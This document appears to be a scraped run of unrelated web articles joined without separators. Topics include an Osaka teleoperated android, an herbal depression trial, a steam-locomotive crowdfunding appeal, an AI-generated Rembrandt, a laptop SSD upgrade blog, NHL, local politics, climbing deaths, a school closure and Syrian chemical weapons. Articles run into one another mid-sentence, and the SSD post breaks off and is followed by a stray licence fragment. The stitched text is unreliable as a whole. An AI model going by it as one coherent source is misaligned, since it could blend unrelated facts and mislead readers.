Ishiguro, a professor at Osaka University, is famous for creating humanlike androids designed to "transmit the presence" of people to a distant place. His previous remote controlled androids include a robot replica of himself that he named Geminoid HI-1 and a smiling female android called the Geminoid F.
But the new Telenoid R1 robot is quite different. The previous androids had lifelike appearances, every detail trying to reproduce the features of a real person. The Telenoid has a minimalistic design. The size of small child, it has a soft torso with a bald head, a doll-like face, and stumps in place of limbs. It looks like an overgrown fetus.
Ishiguro and his collaborators say the idea was to create a teleoperated robot that could appear male or female, old or young, and that could be easily transported. The new design pushes the envelope of human-robot interaction, and Ishiguro is certainly not afraid of exploring the depths of the uncanny valley.
The researchers, who demonstrated the robot today at a press conference in Osaka, hope it will be used as a new communication device, with applications in remote work, remote education, and elderly care. The goal of the project, a collaboration between Osaka University and Japan's Advanced Telecommunications Research Institute International, known as ATR, is to investigate the essential elements for representing and transmitting humanlike presence.
Here's how the system works: An operator sits at a computer with a webcam and special teleoperation software developed by ATR. The computer captures voice and tracks the operator's face and head movements. The voice and some movements are transmitted to the Telenoid. The operator can also push buttons to activate other behaviors.
Even its creators admit the Telenoid R1, which will be demonstrated at this year's Ars Electronica festival in Linz, Austria, is a bit, uh, eerie:
The unique appearance may be eery when we first see it. However, once we communicate with others by using the telenoid, we can adapt to it. If a friend speaks from the telenoid, we can imagine the friend’s face on the telenoid’s face. If we embrace it, we have the feeling, that we embrace the friend.
The Telenoid R1 uses dc motors as actuators, and there are only nine in its body. Ishiguro's previous androids use pneumatic actuators; the Geminoid HI-1 has 50 actuators, and the Geminoid F has 12. The Telenoid's smaller and simpler body helped reduce development and production costs. A research version of the robot will cost about US $35,000, and a commercial version about $8,000. They will be available later this year, distributed by Eager Co. of Japan.
UPDATED: Added price and availability.
Videos and more images:
All images courtesy of Osaka University and ATR Intelligent Robotics and Communication Laboratories
Read also:
Robotics: Geminoid F: New Smiling Female Android
Blog Post: Geminoid F, a copy of a woman in her 20s with long dark hair, exhibits facial expressions more naturally than previous androids
Robotics: Who's Afraid of the Uncanny Valley?
Blog Post: To design the androids of the future, we shouldn't fear exploring the depths of the uncanny valley
Robotics: Hiroshi Ishiguro: The Man Who Made a Copy of Himself
Article: A Japanese roboticist is building androids to understand humans--starting with himselfA herb used in traditional European folk medicine for over 3,000 years could be a potential treatment option for depression, according to the results of a new study.
Many common therapies for mild to moderate depression can have side effects such as nausea and sexual dysfunction. Many common therapies for mild to moderate depression can have side effects such as nausea and sexual dysfunction.
The study, published in Phytomedicine, was led by Dr. Jun J. Mao, an associate professor of family medicine, community health and epidemiology at the Perelman School of Medicine of the University of Pennsylvania.
Rhodiola rosea, also referred to as roseroot, has been used in traditional folk medicine to promote work endurance, increase longevity and promote resistance to several health conditions including fatigue, altitude sickness and depression.
Previous studies have suggested that roseroot could enhance mood by stimulating the receptors of neurotransmitters such as dopamine and serotonin in the brain that are involved with mood regulation. Other research also suggests the herb affects beta-endorphin levels in the body.
In what is the first ever randomized, double-blind, placebo-controlled, comparison trial of roseroot extract, the researchers compared its effects on mild to moderate major depressive disorder with sertraline, a commonly prescribed antidepressant therapy.
Depression is both common and debilitating, with more than 19 million Americans estimated to develop the condition each year. Depression is associated with a high risk of suicide and several simultaneously occurring disorders and physical illnesses.
Unfortunately, around 70% of patients with depression have incomplete responses to therapy with conventional antidepressants. These medicines can often have significant side effects that prevent patients from completing a course of treatment.
"Furthermore, many individuals with more mild depressive symptoms weigh concerns over side effects alongside the limited benefits and costs of conventional antidepressant therapy," write the study authors. "Thus, it is not surprising that depressive symptoms are among the most common reasons cited by consumers to choose alternative therapy."
The aim of the current study was to assess the preliminary safety and efficacy of roseroot for treating mild to moderate depression, to find out if the herb could be used as a base for alternative therapy.
Preliminary results suggest herbal therapy may benefit some people with depression
A total of 57 adults were enrolled to participate in the study. Each participant exhibited two or more major depressive episodes, depressed mood or loss of interest in activities for at least 2 weeks, and depressive symptoms such as significant unintentional weight change, fatigue and recurrent thoughts of death.
For 12 weeks, each participant received either standardized roseroot extract, sertraline or a placebo. The researchers measured changes in the participants' depression during this period.
The researchers found that although the participants receiving sertraline were more likely to report improvements in their symptoms by week 12 of their treatment than participants receiving roseroot extract, the differences were not statistically significant.
In comparison with participants receiving a placebo, patients taking roseroot had 1.4 times the odds of improvement, whereas patients taking sertraline had 1.9 times the odds.
However, far more patients receiving sertraline (63%) reported side effects than those receiving roseroot (30%). This finding suggests that roseroot may have a more favorable risk to benefit ratio than sertraline for treating mild to moderate depression.
"These results are a bit preliminary but suggest that herbal therapy may have the potential to help patients with depression who cannot tolerate conventional antidepressants due to side effects," says Dr. Mao.
The authors acknowledge a number of limitations to the study, most notably the small sample size. "This study was designed to generate preliminary efficacy and safety data to determine sample size estimates for a future, fully-powered study," they argue.
Despite the limitations of this preliminary study, the authors believe their findings suggest that roseroot extract may have modest antidepressant effects in some patients with mild to moderate depression although larger studies will be needed to fully evaluate the benefit and harm of the herb.
"[Roseroot] may be better tolerated than sertraline, which suggests its potential as a treatment alternative for patients who are intolerant to the adverse effects of conventional antidepressants," the authors conclude.
Last month, Medical News Today reported on a study suggesting that telephone-based peer support could be an effective way to help new mothers with postpartum depression.Steam and trains have always been in my family; a great great uncle who built express passenger coaches for the London & North Eastern Railway; a great uncle who toured Scottish farms with a Burrell traction engine to power threshing machines; my father worked for Queensland Railways, and my brother.....
Steam and trains have always been in my family; a great great uncle who built express passenger coaches for the London & North Eastern Railway; a great uncle who toured Scottish farms with a Burrell traction engine to power threshing machines; my father worked for Queensland Railways, and my brother still does.
But the biggest influence on me was the business that dad ran from the mid-eighties, to the early years of this century; a portable miniature steam railway that travelled to school fetes, carnivals, festivals, and all manner of events throughout South East Queensland and Northern New South Wales. So of course it was only natural that I got involved; I first learnt to drive a steam loco when I was five years old, started helping with maintenance when I was seven or eight, and started building my first steam loco at 15.
Dad always had bigger and better things he wanted to do; and he did them. He wanted to own his own railway, done. He wanted to get a permanent track into a theme park, done at Aussie World on the Sunshine Coast. He wanted to get his railway into the Brisbane Miniature Train Show, done. He wanted a permanent track at the North Pine Country Markets, done. There were times that our miniature railway even stood in for the full size railways: when the Rosewood Railway museum didn't have a steam loco of their own, it was dad's - my family's - portable railway that provided one. Our train gave rides to people of all ages, from newborn to ninety seven years old, we've given rides to several state premiers, their children, celebrities and news readers, and even several national rugby and football teams.
But eventually dad retired, my brother continued on with his petrol powered loco for a while, but with rising insurance costs - despite never having made a claim in 20 years of operation - it eventually got too expensive to keep the trains running. So we laid some track around the house, and kept to ourselves for a while. But then dad's health started to decline, and most of the railway was sold off; one steam loco to Tasmania, another two to Redlands and Toowoomba, a fourth to Victoria, the self-drive battery train we used to run at North Pine stayed in the family though; I redid it's control system and my nieces and nephews got some fun with it in my brother's back yard. Eventually we even sold off some of the workshop equipment, tools and machinery that had built, rebuilt, and part-built several steam loco's, a petrol powered loco, a couple of battery electric locos, several kilometres of track, and dozens of passenger carrying and works carriages.
Dad and I amused ourselves with model railways around the lounge room, but otherwise the trains were all gone.
I miss having a steam loco to drive, to work on, to talk to late at night when the neighbour's cat's walked off in a huff. So I want to see if I can go for my dream, and maybe, just maybe it'll help dad a bit too. Dad's got dementia now, he doesn't remember much that's happening, but he can always talk trains; that's been such a big part of our family for so long that I guess it just got buried in him good and deep. So maybe if I can build a new loco it'll help dad, help get him more active, get him thinking more.
And maybe this time I can build that large scale tank loco I always dreamed of.
So what are we aiming for with this?
Build a brand new 15" gauge steam locomotive, an 0-4-2 side tank inspired by the works of Sir Arthur Heywood and Henry Greenly. The exact loco to be built will be something akin to Roger Marsh's smaller "Tinkerbell" class loco, that is popular on 7.25" and 7.5" gauge railways throughout the world. But to a larger scale on 15" gauge. The finished loco will measure about 3 metres long, 1.2 metres wide, 1.8 metres tall, and weigh in at around 2 tons.
To do this I'll need a new lathe, and some other machine tools, plus iron castings for at least the cylinders, crossheads and wheels, a boiler designed and built, laser cutting services, lots of steel, and a whole lot of time. Fortunately time isn't that big of an issue, as I now care for dad and he's always happy to watch me work. But money for the rest is where we really need your help.
$50000 is an estimation for a complete loco, but I can start work with less. At $10000 there'll be enough to get a really good start, and I'm hoping that by leaving this campaign open, and with updates as construction progresses, that I'll get enough to finish the loco. With full funding I see the loco being complete by 2017-2018; about 24-36 months.
What if you don't get enough money?
Well then it'll just take longer. I've wanted to build this loco for a long time now - since my first introduction to 15" gauge railways in the early '90s - and have built myself up slowly toward it; working with smaller gauges, and gradually building and working on larger gauges and loco's. So one way or another it's going to happen, but without help it will likely take twenty years instead of just two.
So where will the money go?
A rough breakdown, that will allow the loco to be gradually built as funds become available is:
$1000: Purchase several mechanical drawings needed to finalise the design, build 4x3m track sections to build the loco on, and to help get materials into the workshop from the street.
$10000: loco chassis frames and valve gear transfered to CAD, parts laser cut, delivered, and platework assembled.
$15000: new bandsaw, start on platework (smokebox saddle, cab floor) sheetwork (cab, water tanks).
$20000: iron castings for wheels, crossheads and cylinders.
$30000: new lathe. Can then complete axles, wheels, fly cranks, axleboxes, get the loco standing on its own wheels
$35000: new mill. Can then complete cylinders and valve gear. Generally get the chassis to a running state.
$45000: final boiler design and construction.
$50000: brass for fittings, feed water injectors, pipework, paint.
Some of this is based on rough quotes, others on material estimates, distributor catalogues, and so on; all put together from personal experience in loco building. Some areas will cost less, others more, but the total will work out. Also the list above is broken into Big Things, it doesn't list all those little things that cost more than you'd think (bolts, rivets, grease, cutting fluid, linisher belts, etc), but they are included in the costings. Some things are also a bit out of order, but are arranged to keep costs together and lower where possible.
Could it be done cheaper?
Yes and No. Some things could be done cheaper, but would add to the workshop costs, such as manually instead of laser cutting the chassis frames and siderods. While laser cutting costs quite a bit, it also saves on additional lifting, fitting, and cutting equipment that wouldn't be used again, and gains on higher accuracy than doing it by hand. On the other hand, buying a lathe big enough to turn the wheels, flycranks, axles, axleboxes, and flycut the cylinders, is expensive, but it's not a once off use like the frame cutting, so works out cheaper to do it myself. Besides, why build a steam loco if someone else does all the building, right?
What if you get more money than you need?
Then I'll get insurance for an open day, and invite all of you donators to spend a day with the finished loco. Actually, I'd probably try to do that anyway. More money would also lead to the possibility of more track and some passenger carriages, so I could make a move toward getting more of a railway for the loco than just around the house. There's also the possibility of doing a tour of 15" gauge railways in the UK.
So you build a steam loco, what then?
Short term, there's room for a track around the house, with sufficient clearance and just-barely-not-too-tight curves. This will give dad something familiar too, which is a big chunk of the reason for starting the project now. Long term, there's a number of volounteer and charity wildlife parks around that I'd love to be able to offer a railway to and get a long term track into. There's also other possible venues to look into as well if none of those work out, but the ultimate goal is to build a working railway somewhere useful and/or scenic.
I'm also quite attracted to the idea of an educational railway, such as the Leipziger Parkeisenbahn in Germany, where the railway is a training and work experience facility for schools.There's already plenty of angst out there about the prospect of jobs lost to artificial intelligence, but this week, artists got a fresh reason to be concerned.
A new "Rembrandt" painting unveiled in Amsterdam is not the work of the Dutch master Rembrandt van Rijn at all, but rather the creation of a combination of technologies including facial recognition, AI, and 3D printing.
Essentially, a deep-learning algorithm was trained on Rembrandt's 346 known paintings and then asked to produce a brand-new one replicating the artist's subject matter and style. Dubbed "The Next Rembrandt," the result is a portrait of a caucasian male, and it looks uncannily like the real thing.
One particularly interesting detail about The Next Rembrandt project, which was a collaboration among several organizations including Dutch bank ING and Microsoft, is how the algorithm chose the subject for its painting, since it had to be entirely new.
An analysis of the master's own works led the algorithm to conclude that the new piece should be a portrait featuring a Caucasian male with facial hair who is between 30 and 40 years old and is wearing dark clothing with a hat and a collar. He should also be facing toward the right, the software determined.
From there, the algorithm began to analyze specific facial features matching that profile with the aim of creating a "typical" Rembrandt eye, nose, mouth, and ear, for example. Also considered were the facial proportions, or the distances separating those features.
With the subject decided, all that remained was to bring the painting to life, and that's where 3D printing came in. The project used a 3D printer that works with a special paint-based UV ink to replicate the layers of paint and brushstrokes Rembrandt himself might have used. With 13 layers of ink, the final portrait consists of more than 148 million pixels based on 168,263 painting fragments from Rembrandt’s oeuvre.
The 18-month project was the brainchild of Dutch advertising firm J. Walter Thompson. The resulting portrait will be placed on public exhibition at some point, but details are not yet available.Is your laptop absolutely crawling? Can you drive to Starbucks, buy coffee beans, come home and grind them, boil water, dump everything in your French press, wait 4 minutes for it to steep, pour your freshly-brewed cup of coffee into a mug and still get back to your desk in the time it takes your machine to reboot?
That’s where I was earlier this week. And tired of it!
So let’s just say I’m not running a high-end laptop here. Mine is squarely in the middle of the road.
It was perfectly usable 2 years ago when I bought it, but I made it out of my local Best Buy with $20 left of my $500 budget at the time. (I decided a long time ago that laptops are almost disposable, so I refuse to pay big bucks for them.)
But 2 years of updates to Windows 7 (which I love, by the way… another reason why I don’t want to buy a new one yet), 2 years of installing various bits of software, a really bad habit of having 50-60 Chrome tabs open at once, and a tendency to run Photoshop or InDesign (or both) all adds up to a really terrible user experience.
I’d already maxed out the RAM… I did that about 6 months after I bought it.
So… what was left to do?
Well… SSD envy set in about a year ago when I bought my wife an HP Ultrabook. She gets a higher laptop budget because she replaces them less often, and she doesn’t subject them to all the abuse of travel nearly as often as I do. Oh… and she likes them light and thin. And boy is hers ever light and thin! But it’s also blazingly fast. I’m talking… Windows 7 reboots completely in under 10 seconds. Forget that cup of coffee and keep working!
One of the reasons the thing is so darn fast is because of the Solid State Drive (SSD) that was installed from the factory. SSDs, if you aren’t already aware, are much faster than traditional hard drives because they have no moving parts. That’s right, no motors or spindles… just pure NAND flash memory (usually), and lots and lots of speed.
So… I began scheming back then about when (and how) I could get an SSD into my laptop. But the problem is that I do have much more significant storage needs. My laptop has a 500GB drive, and I keep it nearly full with stuff. Could I be more diligent and picky about what stays on my hard drive? Sure. But that takes time. Plus, I’m always of the opinion that I’d rather have that obscure file with me when I’m traveling because of the one time I get somewhere and need something that other people would’ve left on an external drive back home.
Why is that a problem for SSDs? Well… they don’t tend to do so well with higher capacities. And they’re expensive — quite unreasonably so when it comes to the higher capacities. In fact, had I been looking at a 500GB (or bigger) SSD, I’d have been back in the “that costs more than a new machine” zone.
So a few months ago I ran across this nifty idea. Some manufacturers had begun to produce “SSD Caddies” that take the place of an optical (DVD or CD-ROM) drive in a laptop. The idea is that you yank the DVD drive that came with your laptop and drop an SSD into one of these caddies and stick it in your machine instead.
Hmmmmm…. but I use that DVD drive, don’t I?
I decided to find out. When I’d gone more than 30 days without even opening it, I realized that the idea that I needed one was actually legitimately outdated.
So I waited for the right moment… in my case, it was an afternoon of waiting, waiting, waiting for some file to open while something else was running and my physical memory usage was up over 90% and 10 minutes of staring at the dumb blue blinking LED that represents hard drive activity had passed without the light ever flickering (because it was on solid from activity)… annnnnnnnd, I’d had enough.
I took the plunge, ordered the parts, and began the long, drawn-out process of waiting 2 business days for shipping. (Sad, I know.)
What Do You Need?
Well first, you’ll need an SSD caddy that matches your machine. At first, I searched for one that was clearly advertised as made for my particular laptop (using the manufacturer name and model number of my laptop). That seemed like a good idea. Price? Around $45 from some unknown online vendor.
Hmmmm…. I wonder…. is this laptop really all that unique?
So, I did some more digging around and found SilverStone Technology. They seem to make a handful of these unusual gadgets, and in my research, the TS09 model seemed like a good fit for my laptop (even though no specific laptops were mentioned).
To make sure it would work, I located the proper method for removing my ODD (optical disk drive), just to do some quick measurements.
For my Gateway NV57H44u, the optical drive (DVD writer, in this case) is held in place by a single screw which is located to the right of the Windows 7 COA label and Gateway info sticker.
I few twists with a screwdriver (while the machine was turned off, power supply disconnected and battery removed, of course), and the optical drive came free. I tugged on it to get it out, and checked it with a ruler. It was, in fact, a 12.7mm height drive. This is something of a “standard” size, although you’ll want to confirm with your manufacturer regarding the specs for your device (or just measure like I did).
The next thing I wanted to verify was that the optical drive that shipped with my laptop was using a typical “slimline” SATA connector (shown in photo). This is how the device gets power and how it communicates with your system. It was, so the TS09 looked like it might be the right fit. At less than half the price ($20 from Amazon) of the other caddy I’d looked at, this was feeling more and more like the right way to go.
The next big question: which SSD to get?
Well, this is where I’d done my homework. After lots of research, I had decided on the Samsung 840 series. The problem you may run into is that there are at least 3 different types of drives bearing that moniker: the 840, the 840 EVO, and the 840 PRO.
These drives are significantly different. Sure, they all look nearly identical, and they all have “840” in the name. Frankly, they’re all fairly reputable as well.
You’ll find conflicting opinions—such as in this Tom’s hardware thread comparing Samsung 840 series models—but at the end of the day, the PRO won me over because of its speed and long-term reliability, despite its higher pricetag.
The next decision I had to make was about capacity… which, frankly, is all about how much you want to spend. I’d already decided that since my SSD was a new, second hard drive (and I was keeping my original 500GB drive for storage), I could live with having only 128GB on it. This is plenty for me to install Windows 7 and a few core applications that I need to run speedily (Google Chrome, the Adobe Creative Suite apps like Photoshop, InDesign, Illustrator, etc.) and Microsoft Office. All my data would stay on the traditional hard drive that shipped with my laptop.
So… the 840 Pro ran me about $130 on Amazon. Prices fluctuate. At this writing, it’s already down to $114.
Now… you can find 128GB SSDs for less. I’m guessing that even the 840 EVO (120GB) or standard 840 would be decent choices. I was willing to spend a little more for the PRO because I just don’t like to gamble with hard drives. Any of them can (and do) fail, so there are certainly no guarantees, but I prefer to give myself the best chances right out of the gate. Also, the PRO model’s additional speed was important to me, since speed was the whole reason to take this project on to begin with.
So you need an SSD and a caddy. That’s it!
Well… at least that’s it for hardware.
Unboxing the 840 PRO was a breeze. It dropped into the TS09 caddy, no problem. The trickiest part was deciding which of the screws to use to cinch it down to the caddy, which shipped with a couple of different sets for you to use. You can’t goof this part up, though, since the screws either fit or they don’t.
Once the drive was secured to the caddy, it only remained to insert the caddy into the laptop. One detail that could easily be missed is that the retaining screw (remember the screw that I removed earlier to loosen the optical drive?) has to screw into something. On my optical drive, there was a small metal bracket which received the screw and held it in place. I removed that bracket from the optical drive (it’s obviously a separate piece) and attached it to the same spot on the caddy, which had a hole in just the right place for it.
Once inserted, I fired up the laptop to make sure that everything was working. I saw a very satisfying green and blue color emanating from the new SSD’s LEDs, which shone through the well-placed hole in the caddy.
OK, Everything’s |
mod for your own purposes, provided that you inform me beforehand.New Jersey Devils goaltender Martin Brodeur is leaning toward returning for at least one more season, according to NJ.com.
When the 41-year-old goaltender was asked if he had decided to play a 22nd NHL season in 2014-15, Brodeur replied, "I think so."
However, Brodeur said he wasn't in a hurry to make any decision until the end of the 2013-14 season.
"I'm going to wait it out," he said. "I'm going to take some time in the summer."
Brodeur said his strong recent play has him believing he can help a team. In seven games in March he's 4-3-0 with a 2.46 goals-against average and.913 save percentage. That comes after he played two periods in a 41-day stretch in January and February that included the break for the 2014 Sochi Olympics.
Brodeur will be an unrestricted free agent this summer and said playing somewhere other than New Jersey for the first time in his career is something he's thought about.
"I talk to [former teammate David Clarkson] a lot about how it is in Toronto," Brodeur said. "I get a lot of information. I have a lot of friends who played somewhere else and I ask questions. I only know one thing. I don't know anything else."
Brodeur said any decision will be based in part on input from his family. His children already have weighed in with their choices.
"My kids want me to play," Brodeur said. "Actually, the twins want me to go to Minnesota, the other wants me to go play for Ottawa."
Brodeur's twin sons, Jeremy and William, are juniors at Shattuck-St. Mary's Prep School in Faribault, Minn., about an hour south of the Twin Cities. His oldest son, Anthony, plays for the Gatineau Olympiques of the Quebec Major Junior Hockey League, located on the other side of the Ottawa River.
"Anthony goes, 'Dad, you've got to sign with Ottawa because I can stay with you,'" Brodeur said.
Whatever Brodeur decides to do, he'll make the decision on his time.
"I'm not in a big hurry to do anything," he said.MAGGIE GYLLENHAAL stars as Lisa Spinelli, a kindergarten teacher and poet fed up with her career, her oblivious husband and teenage kids who largely ignore her. When she discovers that a five-year-old in her class may be a poetic prodigy, Lisa becomes fascinated and tries to protect him from neglectful parents. She soon finds herself risking her career and family to nurture his talent. This event is part of Birds' Eye View's Reclaim The Frame campaign to bring ever greater audiences to films by women to offer a wider perspective of the world. There will be a post screening panel discussion hosted by Mia Bays who runs Birds' Eye View, the charitable pathfinder for films by women and network for those who make, show, release and watch them. She is an Oscar-winning producer of documentaries and fiction. Panel speakers include Filmmaker, poet and director of Caramel Film Club; Be Manzini, Founder of Bechdel Test Fest; Corrina Antrobus and Dr Bonnie-Kate Dewar; Clinical Neuropsychologist. You can also join us for a poetry workshop taking place in the Snug after the panel discussion. Be Manzini will lead the workshop – she is a Southern African raised in London, and her writing practice spans poetry, theatre and journalism. She has worked with the Theatre Royal Stratford East, Hoxton Hall, Tamasha and Immediate Theatre to name a few, her writing appears in numerous printed anthologies and online publications. A workshop facilitator that specializes in creative writing and processes for empowerment; fittingly her former work has included being a Continuous Professional Development Co-ordinator for the Arts Council. Her first film ‘This Is Not A Thank You’ was a poetry short nominated for an international award by ‘Shot from the Lip’, a poetry film competition by the South Bank Centre and has been screened as part of the BFI Love Festival, by Apples and Snakes and Picture House cinemas and in various festivals here and abroad. She is also the Director of Caramel Film Club which is a platform that supports and screens the work of Black actors and directors, with whom Birds’ Eye View frequently collaborate.The world’s tallest flower is on the cusp of blooming, exciting employees at the Floral Showhouse in Niagara Falls.
Until then, all manager Joan Cornelius can do is measure its growth on a daily basis and wait for the moment it does. Saturday morning, the plant measured 218 centimetres in height.
The flower that’s causing all the excitement is known as the Titan Arum. It’s a rare, bell-shaped flower that can grow up to three metres tall. The fact that the flower is going to bloom is a very rare occasion, according to Cornelius. The excitement is double since Niagara Parks is tracking the growth of not one, but two Titan Arums.
“It’s a rare occasion to have it blooming in cultivation,” she said.
According to Cornelius, Niagara Park’s Titan Arum is the first to be blooming in Canada and the 151st in the world.
“That’s how big it is and we are going be fairly confident we’ll be 152 on the list with our second one,” she said. The second Titan Arum is only 10 days behind in terms of blooming.
“It’s great because a lot of people might hear the story and not get to see all the excitement,” she said.
The Floral Showhouse’s first Titan Arum is expected to bloom on Monday, but recent trends in the growth of the bulb — known as the spadix — show the blooming could be delayed by a day or two.
“We measured it yesterday morning and it grew three inches (7.6 cm),” Cornelius said. “What we’re waiting for is for it to come down to an inch. If it’s only grown an inch in a day, you know it’s going to open within a day or so.”
Despite the unpredictable measurements, Cornelius said this is a big, impressive event and she’s having fun watching it grow every day.
Aside from its impressive growth rates, the Titan Arum is known for its very distinctive smell. The spadix emanates a powerful smell that attracts insects and beetles to the bulb in order to pollinate the flower.
“These insects feed on dead animals and meat,” said Cornelius, calling it a corpse flower. “It’s the smell of rotting meat.”
If you can hold your nose long enough to admire the scene, the flowers are currently on display at the Floral Showhouse for all to see.In the battle to replace Marion Barry as the Ward 8 council member, Trayon White scored a victory Saturday by trouncing his main rival, LaRuby May, in a straw poll of nearly 200 voters.
White, a well-known city activist, grabbed 135 votes, automatically winning the endorsement of the Ward 8 Democrats ahead of the June 14 primary, while May got 50. The two have been dueling over the Ward 8 seat since Marion Barry’s death in November 2014. When a special election was held to succeed Barry last year, May won, but only by 79 votes, even though she significantly outspent White.
Now that May’s time filling the remainder of Barry’s term ends later this year, White has again emerged as her closest competitor for the seat. But at Saturday’s straw poll, which also featured a question-and-answer session among four candidates, May didn’t show up. Instead, organizers left open an empty chair for her at the end of the speakers’ table, along with her name card.
As White and three other candidates took turns discussing potential gentrification in Ward 8, the displacement of longtime or low-income families, crime reduction and police tactics, it was May’s absence that riled the audience the most.
When candidates were asked about May’s advocacy of a proposal to create a park for people to drive all-terrain vehicles, long-shot candidate Aaron Holmes sounded off:
A man places a campaign sign for incumbent City Council member LaRuby May Saturday while her challengers take questions from attendees at the Ward 8 Democrats' straw poll forum at Anacostia High School. May did not attend the forum. (J. Lawler Duggan/For The Washington Post)
“She’s not here today because she spoke at a graduation that started five hours ago,” said Holmes, who came in a distant third place in the straw poll with eight votes. “I am not necessarily sure that graduation is still going on. I think it says a great deal about what she thinks about you, and I think it says a great deal about what she thinks about this job. You cannot just buy this seat. You have to work for it.”
White said he couldn’t support a bill he hadn’t seen but that he actually favored creating a haven for bike users somewhere in the city.
A phone message left for May’s campaign was not immediately returned Saturday.
Wanda Lockridge, an official with the Ward 8 Democrats, said that May’s campaign had told organizers two months ago that she couldn’t attend Saturday’s event. Lockridge said she didn’t know why a chair and May’s name card were displayed at the panelist table.
“For her not to come is disrespectful,” Lockridge said.
When the candidates were asked about how they would reduce unemployment in Ward 8, White stressed that he wanted to ensure that commercial developers hired local residents to fill new jobs.
“Let’s keep it real. As a council member, my job is to create an entire workforce to focus around technology... policing, hospitality,” White said to loud applause. “We have to empower and incentivize developers to hire people in Ward 8.”
Holmes spoke less about what the city should do for investors and more about what they should do for Ward 8 residents.
“Ward 8 is currently sort of on the cusp of a renaissance. And that renaissance is something that we deserve. We deserve good housing. We deserve good jobs. We deserve more than one grocery store. But we also need partners that are going to invest in this community,” he said. “When you come into this community, you have to bring jobs that we are ready for, and if we’re not ready for them, you need to be in concert with the government to make sure that we’re training our residents to obtain those jobs. And, if you’re not, then we don’t want you.”
Later, Albert and Carmelita Coleman said they had voted for White.
“To me, he knew the issues more,” Carmelita said.
“Because he’s a product of Ward 8,” Albert said.
White is a District native who graduated from Ballou Senior High School in Southeast; May grew up in Florida.
Others happily voted for May even though she was a no-show.
Norma Toussaint-Green, 32, a program developer for a nonprofit organization, said she doesn’t mind where May was born.
“She does care about jobs for Ward 8,” Toussaint-Green said.
Candidates Maurice Dickens and Bonita Goode also spoke at the forum. Dickens won two votes, while Goode won none.The Norwegian mountaineering community has lost two of its finest with the deaths of Bjorn-Eivind Aartun and Stein-Ivar Gravdal.
The two were attempting a new ice route on the big wall of Kjerag, which rises more or less directly out of the Lysefjord in southwest Norway.
When they didn't return, a helicopter search was initiated, and on the morning of February 10 the two climbers were spotted hanging upside down on the face, motionless, and with considerable evidence of blood on the ice below.
It's surmised that they may have been hit by collapsing ice.
In February 2009 the pair had put up the amazing Strandhogg on this ca 900m face, Norway's premier big wall for both rock climbers and BASE jumpers.
This ephemeral ice route was the most coveted line at Kjerag and succumbed to very bold and sustained climbing at WI6+ M5+ and one short pendulum.
This ascent gained the pair one of the Norwegian Alpine Club's inaugural Alpine Awards, to "highlight and promote dedicated alpine climbing at a high level in Norway".
A couple of days later Aartun, this time with Annelin Henriksen added Pin-up (600m WI6) in the hanging valley left of the wall.
The likeable and unassuming 45-year-old Aartun, a photographer living in Oslo, started climbing in 1987, but for the next 20 years concentrated primarily on rock, making impressive new routes, repeats and first free ascents in Norway.
From 2007 he climbed in the Fitz Roy region of Patagonia on five occasions, repeating lines such as Los Tiempos Perdidos on Cerro Torre, and an astonishing fast ascent of the Ragni Route on the same peak.
He also put up two new routes; Hvit Linje (600m, WI5) below Poincenot, and the very recent Venas Azulas (AI6 M5) on Torre Egger.
In 2010 he made a single push first ascent of Dracula on Alaska's Mt Foraker with American Colin Haley, a climb that was nominated for a 2011 Piolet d'Or.
Gravdal was perhaps best known outside Norway for big wall climbing.
He made the first ascent of the North Face of Ulvatanna (2,950m) in Antarctica's Queen Maud Land, climbing the El Capitan-sized vertical granite face in 21 long pitches up to VI+ and A4.
He also made the second complete ascent of the legendary 1984 Norwegian Route on the northeast pillar of Great Trango Tower (East summit, 6,231m) in Pakistan, confirming the grade of this 1,500m route as VII 6b A4.
« BackImage caption The Royal School for Deaf Children in Margate was established in 1792
A school for deaf children which parents said was a "lifeline" is to close, administrators have said.
A petition to save the Royal School for Deaf Children in Margate, which was established in 1792, exceeded 10,000 names.
More than 100 jobs had already been lost, with a further 240 job losses announced by the administrators.
The remaining 140 staff are being retained to mange the closure of the school.
Campaigners have appealed to Kent Council Council to provide funding and support to keep it open.
The petition on Change.org says: "Please help put the funding and support in place to keep this wonderful environment open to continue the great work it is doing with the young people to provide them with a better future."
'Vulnerable' children
About 110 young people attend the John Townsend Trust-operated school, administrators said.
Before the appointment of administrators it had been announced that Westgate College, which was established in 1978 as the post-16 department of The Royal School, would close at the end of the current term.
Geoff Rowley, from the administrators FRP Advisory, said: "Our priority has been in assessing the ability of providing ongoing provision of core services and care, and the well-being of all of the John Townsend Trust's pupils and residents and their families."
He said the decision to close the school will have "a significant impact on the many children, young adults, their families and the wider community".
'Lifeline'
The National Deaf Children's Society said it would be very difficult to place the "highly vulnerable" children with complex needs elsewhere.
Brian Gale, director of policy and campaigns, acknowledged the "immense financial tension in the education system" but said the news had been devastating for parents who had described the school as a lifeline.
Nicola Moffat, from Swale, sends her 11-year-old son David, who is deaf and blind, to the school.
She said a closure would turn his life upside down.
She added: "This isn't just a school for these children, this is their life, their community.
"A lot of the children have been there since they were four. We don't know where to turn."
Kent County Council said in a statement: "It will be very important for the council and the administrators to work together to agree a planned and viable way forward.
"The council recognises this will be a period of anxiety for families and will endeavour to contact each family over the course of the next week."Syria's vice foreign minister denied Monday that his government ever used chemical weapons or chlorine during the country's brutal civil war and warned that terror groups are using such weapons.
Faysal Mekdad was speaking at a meeting of the Organization for the Prohibition of Chemical Weapons as the group comes close to fully eliminating Damascus' deadly stockpile of nerve agents and poison gas -- helping international efforts to prevent terrorists using such weapons.
Mekdad said that terror groups "have used chlorine gas in several of the regions of Syria and Iraq."
It's not the first time such claims have been made. In October, Iraqi officials said militants from the Islamic State group used chlorine gas during fighting with security forces and Shiite militiamen north of Baghdad. The statements in Iraq came two days after Kurdish officials and doctors said they believed IS militants had released some kind of toxic gas in an eastern district of Kobani.
President Bashar Assad's government also is widely believed to have unleashed chemical weapons during the civil war, despite its repeated denials.
Chlorine gas is readily available and used in industry around the world, but can also be used as a weapon.
Angela Kane, the United Nations' disarmament chief, also acknowledged the new risks posed by terrorists.
"There is a very distinct threat that has arisen and actually also is being investigated by the OPCW with a fact-finding mission," she said, adding that various international bodies and the U.N. are coordinating efforts to fight terrorism.
In a preliminary report issued in September, the fact-finding mission concluded that a toxic chemical, almost certainly chlorine, was used "systematically and repeatedly" as a weapon in attacks on villages in northern Syria earlier this year, but didn't apportion blame.
